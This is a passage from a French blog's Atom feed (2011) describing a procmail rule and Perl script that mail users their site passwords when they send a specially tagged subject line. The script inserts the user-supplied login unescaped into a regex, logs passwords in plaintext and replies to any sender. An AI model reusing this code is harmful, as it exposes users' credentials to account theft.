&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;montre le résultat du &lt;code&gt;ls&lt;/code&gt; toutes les 2 secondes.&lt;/p&gt;
&lt;p&gt;On peut s&amp;rsquo;amuser à créer un profil &lt;a href="http://facebook.com/pinkilla"&gt;FB&lt;/a&gt; avec de chouettes images; voir &lt;a href="http://fbcrop.com/"&gt;fbcrop.com&lt;/a&gt; ou &lt;a href="http://mypeek.com/"&gt;mypeek.com&lt;/a&gt; ou simplement en utilisant un logiciel d&amp;rsquo;images. &lt;a href="http://www.youtube.com/watch?v=vhvJqGgzmoQ#t=2m45s"&gt;Comment faire avec Photoshop&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;&lt;a href="http://facebook.com/pinkilla"&gt;&lt;img alt="screenshot-wideprofile.png" src="/images/screenshot-wideprofile.png" title="screenshot-wideprofile.png, fév. 2011"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Merci à &lt;a href="http://korben.info/"&gt;Korben&lt;/a&gt; , &lt;a href="http://linuxfr.org/"&gt;Linuxfr&lt;/a&gt; et &lt;a href="http://planet-fr.debian.net/"&gt;Planet Debian&lt;/a&gt; pour les infos.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lire aussi&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2010-11-04-Vrac-4.html"&gt;Vrac #4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-07-07-Vrac-3.html"&gt;Vrac #3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-02-22-Vrac-2.html"&gt;Vrac #2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2010-01-27-vrac-1.html"&gt;Vrac #1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Mon mot de passe, c'est secret</title><link href="http://blog.namok.be/2011-02-18-Mon-mot-de-passe-c-est-secret.html" rel="alternate"/><published>2011-02-18T00:00:00+01:00</published><updated>2011-02-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-02-18:/2011-02-18-Mon-mot-de-passe-c-est-secret.html</id><summary type="html">Mise en place d'un système pour donner un mot de passe à une série d'utilisateurs dont on ne connait pas l'adresse mail.</summary><content type="html">&lt;p&gt;J&amp;rsquo;ai récemment mis en place un &lt;a href="http://infossiath.namok.be/"&gt;site d&amp;rsquo;infos&lt;/a&gt; pour les pompiers. Un truc tout simple genre &lt;em&gt;&lt;a href="http://linuxfr.org/board"&gt;la tribune de LinuxFr&lt;/a&gt;&lt;/em&gt; .&lt;/p&gt;
&lt;p&gt;Comme l&amp;rsquo;accès est restreint, il faut attribuer des identifiants (&lt;em&gt;login/password&lt;/em&gt;) à chaque utilisateur. Voici mes contraintes;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;je ne connais pas le mail de tout le monde,&lt;/li&gt;
&lt;li&gt;je ne veux pas valider chaque demande de création de compte car je sais &lt;em&gt;à priori&lt;/em&gt; qui sont les utilisateurs (ils sont déjà créés)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… comment faire pour &lt;strong&gt;donner à chacun son mot de passe&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Première solution&lt;/strong&gt; Choisir le même mot de passe pour tout le monde et l&amp;rsquo;afficher en grand sur la page d’accueil du site ! Cette approche ne se distingue plus beaucoup d&amp;rsquo;un site public ;-)&lt;/p&gt;
&lt;p&gt;Pour la petite histoire, un organisation (je reste volontairement vague) possédant un intranet a choisi comme mot de passe, chut, &lt;strong&gt;secret&lt;/strong&gt; car c&amp;rsquo;est secret ;-) Son intranet permet à chaque employé de : remplir ses feuilles de présences, obtenir sa fiche de paie… et changer son mot de passe s&amp;rsquo;il le désire (ce que ne font qu&amp;rsquo;une infime partie des employés).&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;espère ne pas être le seul à trouver cette approche cavalière même si je suis conscient qu&amp;rsquo;énormément de gens ne s&amp;rsquo;en inquiètent pas. Bref, je ne veux pas que le mot de passe initial soit le même pour tout le monde. &lt;em&gt;Next !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deuxième solution&lt;/strong&gt; J&amp;rsquo;affiche les logins de chacun (genre &lt;em&gt;prénomNom&lt;/em&gt;) et lors de la première connection, je demande de cliquer sur « J&amp;rsquo;ai oublié mon mot de passe », ensuite de fournir un email et j&amp;rsquo;envoie le mot de passe.&lt;/p&gt;
&lt;p&gt;Pour moi c&amp;rsquo;est le plus simple. Il me suffit de loguer les envois de mot de passe et ça roule. Sauf que je n&amp;rsquo;évite pas le &lt;strong&gt;vol d&amp;rsquo;un compte&lt;/strong&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. &lt;em&gt;Next !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solution retenue&lt;/strong&gt; La solution que je retiens et qui est sans doute un peu plus complexe me permet d&amp;rsquo;éviter (je crois) ce vol de compte.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je demande à chaque utilisateur de m&amp;rsquo;envoyer un mail avec son login et je lui retourne son mot de passe.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La différence avec la solution deux c&amp;rsquo;est que je reçois un mail de l&amp;rsquo;utilisateur et je peux (un peu) contrôler ce mail &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Je suis bien conscient que je ne résous pas le problème de &lt;em&gt;vol d&amp;rsquo;un compte&lt;/em&gt; car il est toujours possible de me leurrer lors de la demande de compte… mais cela devient un peu plus difficile.&lt;/p&gt;
&lt;p&gt;On peut, par exemple, créer une adresse mail de la forme &lt;code&gt;prenomNom@example.org&lt;/code&gt; chez n&amp;rsquo;importe qui (&lt;a href="http://gmail.com/"&gt;Gmail&lt;/a&gt; ou autre) et je croirai que c&amp;rsquo;est effectivement l&amp;rsquo;adresse du gars. Mais dans ce cas, je lui enverrai parfois des mails qui resteront sans réponse et dans le cadre qui nous occupe, ce sera détecté un jour.&lt;/p&gt;
&lt;p&gt;On peut aussi modifier ses entêtes de mails et bidouiller à ce niveau mais ça se voit donc… je ne m&amp;rsquo;en inquiète pas trop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un peu de technique maintenant&lt;/strong&gt; (&lt;em&gt;Marie-No, passe ton chemin&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai évidement pas envie de répondre à la main à chacun, il faut que ce soit automatique. J&amp;rsquo;écris dont une petite règle &lt;a href="http://procmail.org/"&gt;procmail&lt;/a&gt; qui prendra en charge le mail et générera la réponse adéquate. La règle procmail se résume à ça;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:0 c:
\* ^Subject:.\*\\\[WAZUP\\\].\*
| /home/me/.procmail/sendmailscript 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et je demande aux utilisateurs de m&amp;rsquo;envoyer un mail ayant comme sujet &lt;code&gt;[WAZUP] login&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pour ceux qui sont intéressé, voici le script;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/perl&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;strict&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;warnings&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$from&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@passwords&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/home/me/.procmail/listing-login-password.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/home/me/.procmail/log-mail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Je cherche les champs From et Subject dans le mail &lt;/span&gt;
&lt;span class="c1"&gt;# et je récupère le login et le mail. &lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@junk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=~&lt;/span&gt;&lt;span class="sr"&gt; /^From:.\*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;@junk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/:/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;$from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$junk&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;chomp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$from&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=~&lt;/span&gt;&lt;span class="sr"&gt; /^Subject:.\*/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;@junk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\]/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$junk&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;s/ //g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nb"&gt;chomp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$login&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Can&amp;#39;t find login&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Je récupère (peut-être) le password correspondant au login&lt;/span&gt;
&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DAT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Can&amp;#39;t open file $data\_file: $!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@raw&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;DAT&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;@passwords&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/.\*($login).\*/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;@raw&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;my&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$passwords&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# J&amp;#39;ouvre le fichier de log pour plus tard&lt;/span&gt;
&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;gt;&amp;gt;$log\_file&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Cannot Open File&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;# Je teste le résultat&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# NOT FOUND&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Il reste à envoyer un mail d&amp;#39;ERREUR au gars… &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;|/usr/lib/sendmail -oi -t -odq&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Can&amp;#39;t fork for sendmail: $!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&amp;lt;&amp;quot;&lt;/span&gt;&lt;span class="dl"&gt;EOF&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;;&lt;/span&gt;
&lt;span class="s"&gt;// Un p&amp;#39;tit mail d&amp;#39;erreur&lt;/span&gt;
&lt;span class="dl"&gt;EOF&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;warn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sendmail didn&amp;#39;t close nicely&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; - ERREUR - $from - $login&lt;/span&gt;
&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# FOUND&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Il reste à envoyer un mail au gars… &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;|/usr/lib/sendmail -oi -t -odq&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;die&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Can&amp;#39;t fork for sendmail: $!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&amp;lt;&amp;quot;&lt;/span&gt;&lt;span class="dl"&gt;EOF&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;;&lt;/span&gt;
&lt;span class="s"&gt;// Un p&amp;#39;tit mail avec le password&lt;/span&gt;
&lt;span class="dl"&gt;EOF&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SENDMAIL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;warn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sendmail didn&amp;#39;t close nicely&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;chomp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot; - $from - $password&lt;/span&gt;
&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;close&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DAT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;close&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;ai deux soucis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le premier problème&lt;/strong&gt; qui se pose et auquel je m&amp;rsquo;attendais c&amp;rsquo;est que je demande aux utilisateurs de m&amp;rsquo;envoyer un mail avec comme &lt;strong&gt;sujet&lt;/strong&gt; quelque chose qui &lt;em&gt;matche&lt;/em&gt; &lt;code&gt;[WAZUP] login&lt;/code&gt; et je reçois&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;(wazup) login&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(WA ZUPP)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bonjour&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[wazup] login1 login2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ol&gt;
